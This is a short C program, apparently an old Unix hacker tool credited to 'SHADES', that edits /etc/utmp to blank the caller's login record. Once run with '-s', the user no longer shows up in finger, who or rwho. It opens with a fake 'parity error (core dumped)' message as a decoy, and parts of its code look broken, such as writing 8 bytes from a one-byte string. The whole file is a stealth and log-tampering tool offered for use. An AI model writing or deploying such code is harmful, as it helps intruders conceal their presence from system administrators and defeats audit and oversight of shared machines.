#include <stdio.h>
#include <stdlib.h>
#include <utmp.h>
#include <pwd.h>
 
#define UTMPFILE        "/etc/utmp"
 
        FILE    *utmpfile;
        char    *utmp_tmp[10240];
 
main (argc, argv)
        int     argc;
        char    *argv[];
{
 
        struct  utmp    *user_slot;
        struct  passwd  *pwd;
        char    line[10], name[10], host[20];
        int     index;
 
        printf ("parity error (core dumped)\n\n");
        utmpfile = fopen (UTMPFILE, "r+");
        if (utmpfile == NULL)
        {
                exit ();
        }
        index = ttyslot();                                          
        index *= sizeof(struct utmp);   /* 36 */
        fseek(utmpfile, index, 0);
        pwd = getpwuid (getuid());
        if ( (argc>1) && (!strcmp(argv[1], "-s")) )
        {
        index+=8;      
        fseek(utmpfile, index, 0);
        fwrite ("\000", 8, 1, utmpfile);      
        fwrite ("\000", 8, 1, utmpfile);      
        fclose(utmpfile);
        printf ("Thank SHADES for STEALTH! finger/who/rwho wont show you!\n");
        exit();
        }
}
